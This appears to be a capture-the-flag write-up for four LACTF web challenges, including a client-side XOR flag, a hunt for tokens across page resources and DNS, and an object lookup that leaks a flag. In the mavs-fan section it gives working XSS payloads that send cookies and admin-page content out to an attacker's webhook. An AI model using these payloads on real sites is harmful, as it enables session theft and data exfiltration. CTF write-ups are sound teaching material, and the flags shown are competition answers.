# Web ## lucky-flag After reconnaissance, I found that the `flag` can be obtained in `main.js` `main.js` ```python= const $ = q => document.querySelector(q); const $a = q => document.querySelectorAll(q); const boxes = $a('.box'); let flagbox = boxes[Math.floor(Math.random() * boxes.length)]; for (const box of boxes) { if (box === flagbox) { box.onclick = () => { let enc = `"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"`; for (let i = 0; i < enc.length; ++i) { try { enc = JSON.parse(enc); } catch (e) { } } let rw = []; for (const e of enc) { rw['\x70us\x68'](e['\x63har\x43ode\x41t'](0) ^ 0x62); } const x = rw['\x6dap'](x => String['\x66rom\x43har\x43ode'](x)); alert(`Congrats ${x['\x6aoin']('')}`); }; flagbox = null; } else { box.onclick = () => alert('no flag here'); } }; ``` Accordingly, if clicked correctly, enc will be decrypted by XOR-ing each character with `0x62` `script` ```python= import json enc = '"\\u000e\\u0003\\u0001\\u0016\\u0004\\u0019\\u0015V\\u0011=\\u000bU=\\u000e\\u0017\\u0001\\t=R\\u0010=\\u0011\\t\\u000bSS\\u001f"' enc = json.loads(enc) flag = ''.join(chr(ord(c) ^ 0x62) for c in enc) print(f"Flag: {flag}") # Flag: lactf{w4s_i7_luck_0r_ski11} ``` ## I spy... In this challenge, we need to find and verify the token step by step and receive the flag at the final step. `step 1` ``` This token: B218B51749AB9E4C669E4B33122C8AE3 ``` `step 2` ``` A token in the HTML source code... ``` use ctrl + U ``` <!-- Token: 66E7AEBA46293C88D484CDAB0E479268 --> ``` `step 3` ``` A token in the JavaScript console... ``` find token in `thingy.js` file `thingy.js` ```p= // Token: 9D34859CA6FC9BB8A57DB4F444CDAE83 // You do not need to deobfuscate this code. function _0x2d52(_0x3116f1, _0x5c1099) { var _0x15be24 = _0xc9e3(); return ( (_0x2d52 = function (_0x41f528, _0x27c380) { _0x41f528 = _0x41f528 - (-0x261e + -0x23e0 + -0x121 * -0x43); var _0x878472 = _0x15be24[_0x41f528]; return _0x878472; }), _0x2d52(_0x3116f1, _0x5c1099) ); } function _0xc9e3() { var _0x530cd8 = [ "\x34\x31\x30\x30\x4b\x7a\x73\x6c\x70\x4e", "\x32\x36\x31\x50\x4d\x48\x64\x48\x51", "\x37\x30\x32\x34\x31\x30\x5a\x6d\x6a\x4a\x66\x6b", "\x34\x34\x31\x39\x31\x38\x7a\x77\x4d\x4d\x54\x66", "\x36\x32\x39\x35\x32\x69\x69\x76\x49\x68\x4b", "\x34\x44\x41\x45\x46\x38\x41\x44\x36", "\x33\x30\x32\x36\x37\x33\x72\x74\x57\x6e\x58\x6d", "\x61\x2d\x74\x6f\x6b\x65\x6e\x3d\x36\x34", "\x38\x38\x46\x36\x41\x37\x35\x30\x30\x43", "\x54\x6f\x6b\x65\x6e\x3a\x20\x35\x44\x31", "\x35\x32\x37\x34\x36\x30\x45\x43\x77\x54\x6d\x56", "\x31\x35\x31\x46\x31\x37\x30\x37\x46\x32", "\x31\x38\x31\x30\x39\x36\x6f\x73\x77\x7a\x51\x6a", "\x6c\x6f\x67", "\x63\x6f\x6f\x6b\x69\x65", "\x31\x38\x79\x65\x6d\x53\x77\x76", "\x39\x39\x69\x55\x44\x4e\x66\x69", ]; _0xc9e3 = function () { return _0x530cd8; }; return _0xc9e3(); } var _0x471dbd = _0x2d52; (function (_0x53cab2, _0x4d06c8) { var _0x97c765 = { _0x5a6c08: 0x1aa, _0x3ae67c: 0x1ae, _0x2fc6f8: 0x1b5, _0x2f6fc0: 0x1b1, _0x4baccd: 0x1af, _0x31175d: 0x1ac, }, _0x7e6301 = _0x2d52, _0x29f503 = _0x53cab2(); while (!![]) { try { var _0x30ffb3 = (-parseInt(_0x7e6301(_0x97c765._0x5a6c08)) / (0x1d12 + -0xe13 + -0xefe)) * (parseInt(_0x7e6301(0x1ab)) / (-0x127c + -0x1229 + 0x24a7)) + parseInt(_0x7e6301(_0x97c765._0x3ae67c)) / (-0xe59 + 0xcae * 0x1 + 0x1ae) + parseInt(_0x7e6301(0x1a6)) / (-0x1 * -0x1532 + 0xaf8 + -0x2 * 0x1013) + parseInt(_0x7e6301(_0x97c765._0x2fc6f8)) / (-0xb01 + 0x1603 + -0x1 * 0xafd) + (parseInt(_0x7e6301(0x1a9)) / (-0x4 * 0x35c + -0x1f53 + -0x2cc9 * -0x1)) * (-parseInt(_0x7e6301(_0x97c765._0x2f6fc0)) / (-0x2563 + 0xfef + -0x27 * -0x8d)) + (parseInt(_0x7e6301(_0x97c765._0x4baccd)) / (0x250c + 0xfb5 * -0x2 + -0x2 * 0x2cd)) * (parseInt(_0x7e6301(_0x97c765._0x31175d)) / (0x103a + -0x2589 + -0x1 * -0x1558)) + -parseInt(_0x7e6301(0x1ad)) / (-0x3fd + 0x260b + -0x2204); if (_0x30ffb3 === _0x4d06c8) break; else _0x29f503["push"](_0x29f503["shift"]()); } catch (_0x5bc206) { _0x29f503["push"](_0x29f503["shift"]()); } } })(_0xc9e3, 0x37869 + -0x3783d + -0x6f * -0x457), console[_0x471dbd(0x1a7)]( _0x471dbd(0x1b4) + "\x46\x39\x38\x42\x43\x45\x45\x35\x31\x35" + _0x471dbd(0x1b3) + _0x471dbd(0x1b0), ), (document[_0x471dbd(0x1a8)] = _0x471dbd(0x1b2) + "\x37\x45\x36\x37\x42\x34\x41\x38\x46\x34" + "\x41\x41\x32\x38\x46\x41\x42\x36\x30\x32" + _0x471dbd(0x1a5)), undefined; // from https://codepen.io/whipcat/pen/ExKPQqZ, converted to normal JS document.querySelector("body").addEventListener("mousemove", function (event) { const eyes = document.querySelectorAll(".eye"); eyes.forEach((eye) => { // Get element position and dimensions const rect = eye.getBoundingClientRect(); const x = rect.left + rect.width / 2 + window.scrollX; const y = rect.top + rect.height / 2 + window.scrollY; const rad = Math.atan2(event.pageX - x, event.pageY - y); const rot = rad * (180 / Math.PI) * -1 + 180; // Apply rotation transform eye.style.transform = `rotate(${rot}deg)`; }); }); ``` However, the code has been `obfuscated`, so we decrypt it [here](https://deobfuscate.relative.im/) `final` ```p= console.log('Token: 5D1F98BCEE51588F6A7500C4DAEF8AD6') document.cookie = 'a-token=647E67B4A8F4AA28FAB602151F1707F2' undefined document.querySelector('body').addEventListener('mousemove', function (event) { const eyes = document.querySelectorAll('.eye') eyes.forEach((eye) => { const rect = eye.getBoundingClientRect() const x = rect.left + rect.width / 2 + window.scrollX const y = rect.top + rect.height / 2 + window.scrollY const rad = Math.atan2(event.pageX - x, event.pageY - y) const rot = rad * (180 / Math.PI) * -1 + 180 eye.style.transform = `rotate(${rot}deg)` }) }) # use token: 5D1F98BCEE51588F6A7500C4DAEF8AD6 for step 3 ``` `step 4` ``` A token in the stylesheet... ``` into `style.css` file ``` /* Token: 29D3065EFED4A6F82F2116DA1784C265 */ ``` `step 5` ``` A token in javascript code... ``` it's comment in `thingy.js` file ``` // Token: 9D34859CA6FC9BB8A57DB4F444CDAE83 ``` `step 6` ``` A token in a header... ``` open BurpSuite and show it ``` X-Token: BF1E1EAA5C8FDA6D9D0395B6EA075309 ``` `step 7` ``` A token in a cookie... ``` into requets header in burpsuite ``` Cookie: a-token=647E67B4A8F4AA28FAB602151F1707F2; stage_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YWx1ZSI6IjI5RDMwNjVFRkVENEE2RjgyRjIxMTZEQTE3ODRDMjY1In0.GdTtEqA2fRKEccEBMfS4TbI2CXcPd-xJbAl3lW1EtFw ``` `step 8` ``` A token where the robots are forbidden from visiting... ``` access `/robots.txt` and after accsess `/a-magical-token.txt` ``` Token: 3FB4C9545A6189DE5DE446D60F82B3AF ``` `step 9` ``` A token where Google is told what pages to visit and index... ``` access `/sitemap.xml` ``` <!-- Token: F1C20B637F1B78A1858A3E62B66C3799 --> ``` `step 10` ``` A token received when making a DELETE request to this page... ``` replace `POST` to `DELETE` method ``` You DELETED MY WEBSITE!!!!! HOW DARE YOU????? 32BFBAEB91EFF980842D9FA19477A42E ``` `step 11` ``` A token in a TXT record at i-spy.chall.lac.tf... ``` use nslookup to see TXT record ``` payload: nslookup -type=TXT i-spy.chall.lac.tf # final token : 7227E8A26FC305B891065FE0A1D4B7D4 ``` `result` ``` A Flag! lactf{1_sp0773d_z_t0k3ns_4v3rywh3r3} ``` ## mavs-fan In this challenge, there is a web server and an admin bot server, so I immediately thought of `XSS`. After reading the description, we see that JavaScript commands cannot be used, so I used a different simple payload ``` <img src=x onerror="alert(1)"> ``` Then I tried extracting the content to a webhook but failed until I realized that the `flag` was inside `/admin` ``` <img src=x onerror="fetch('url of webhook'+document.cookie)"> ``` And thus, we cannot steal the `admin's cookie`, so I had the `admin bot` extract the content using the following payload ``` <img src=x onerror="fetch('/admin') .then(r => r.redirected ? r.text() : r.text()) .then(d => fetch('<url of webhook>flag=' + encodeURIComponent(d)))"> ``` After sending the payload, I used the URL from that post to send it to the admin bot for verification and finally received the `flag` on the webhook. ## chessbased For this challenge, we need to focus on `/render` because initially, the `flag` is added to openings, so we can retrieve it via the `id` ```p= app.get('/render', (req, res) => { const id = req.query.id; const op = lookup.get(id); res.send(` <p>${op?.name}</p> <p>${op?.moves}</p> `); }); ``` ``` /render?id=flag ```